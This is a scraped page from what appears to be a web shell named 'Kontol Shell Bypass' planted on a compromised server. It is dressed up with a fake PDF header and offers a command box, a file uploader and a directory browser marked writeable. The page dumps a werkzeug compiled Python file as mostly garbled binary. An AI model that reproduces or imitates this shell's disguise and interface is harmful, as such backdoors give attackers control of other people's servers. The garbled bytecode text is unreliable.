%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/site-packages/werkzeug/sansio/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/site-packages/werkzeug/sansio/__pycache__/utils.cpython-39.pyc
a

�_g]�@s�ddlmZddlZddlmZddlmZddlm	Z	ddl
mZdd	d
d�dd
�Zddddddd�dd�Z
dddddddd�dd�Zddddd�dd�ZdS)�)�annotationsN)�quote�)�
_plain_int)�
SecurityError)�
uri_to_iriz
str | Nonezt.Iterable[str]�bool)�hostname�trusted_list�returnc	Cs�|sdSz|�d�d�d��d�}Wnty:YdS0t|t�rL|g}|D]|}|�d�rp|dd�}d	}nd}z|�d�d�d��d�}Wnty�YdS0||ks�|rP|�d|���rPd	SqPdS)
z�Check if a host matches a list of trusted names.

    :param hostname: The name to check.
    :param trusted_list: A list of valid names to match. If a name
        starts with a dot it will match all subdomains.

    .. versionadded:: 0.9
    F�:r�idna�ascii�.�NT)�	partition�encode�decode�UnicodeEncodeError�
isinstance�str�
startswith�endswith)r	r
�refZsuffix_match�r�B/vddos/python/lib/python3.9/site-packages/werkzeug/sansio/utils.py�host_is_trusteds(	


rrztuple[str, int | None] | Nonezt.Iterable[str] | None)�scheme�host_header�server�
trusted_hostsrcCs�d}|dur|}n.|dur@|d}|ddur@|�d|d��}|dvr`|�d�r`|dd�}n|d	vr~|�d
�r~|dd�}|dur�t||�s�td|�d
���|S)a$Return the host for the given parameters.

    This first checks the ``host_header``. If it's not present, then
    ``server`` is used. The host will only contain the port if it is
    different than the standard port for the protocol.

    Optionally, verify that the host is trusted using
    :func:`host_is_trusted` and raise a
    :exc:`~werkzeug.exceptions.SecurityError` if it is not.

    :param scheme: The protocol the request used, like ``"https"``.
    :param host_header: The ``Host`` header value.
    :param server: Address of the server. ``(host, port)``, or
        ``(path, None)`` for unix sockets.
    :param trusted_hosts: A list of trusted host names.

    :return: Host, with port if necessary.
    :raise ~werkzeug.exceptions.SecurityError: If the host is not
        trusted.
    �Nrrr>�ws�httpz:80���>�https�wssz:443���zHost z is not trusted.)rrr)rrrr �hostrrr�get_host1s
r)zbytes | None)rr(�	root_path�path�query_stringrcCs�|d|g}|dur*|�d�td�|��S|�t|�d�dd��|�d�|durbtd�|��S|�t|�d�dd��|r�|�d�|�t|dd��td�|��S)	a�Recreate the URL for a request. If an optional part isn't
    provided, it and subsequent parts are not included in the URL.

    The URL is an IRI, not a URI, so it may contain Unicode characters.
    Use :func:`~werkzeug.urls.iri_to_uri` to convert it to ASCII.

    :param scheme: The protocol the request used, like ``"https"``.
    :param host: The host the request was made to. See :func:`get_host`.
    :param root_path: Prefix that the application is mounted under. This
        is prepended to ``path``.
    :param path: The path part of the URL after ``root_path``.
    :param query_string: The portion of the URL after the "?".
    z://N�/r!z!$&'()*+,/:;=@%)�safe�?z!$&'()*+,/:;=?@%)�appendr�joinr�rstrip�lstrip)rr(r*r+r,�urlrrr�get_current_urlas



r5z
int | None)�http_content_length�http_transfer_encodingrcCs>|dks|durdSztdt|��WSty8YdS0dS)a�Return the ``Content-Length`` header value as an int. If the header is not given
    or the ``Transfer-Encoding`` header is ``chunked``, ``None`` is returned to indicate
    a streaming request. If the value is not an integer, or negative, 0 is returned.

    :param http_content_length: The Content-Length HTTP header.
    :param http_transfer_encoding: The Transfer-Encoding HTTP header.

    .. versionadded:: 2.2
    �chunkedNr)�maxr�
ValueError)r6r7rrr�get_content_length�s
r;)NN)NNN)NN)�
__future__r�typing�t�urllib.parser�	_internalr�
exceptionsr�urlsrrr)r5r;rrrr�<module>s )�3�,�

Kontol Shell Bypass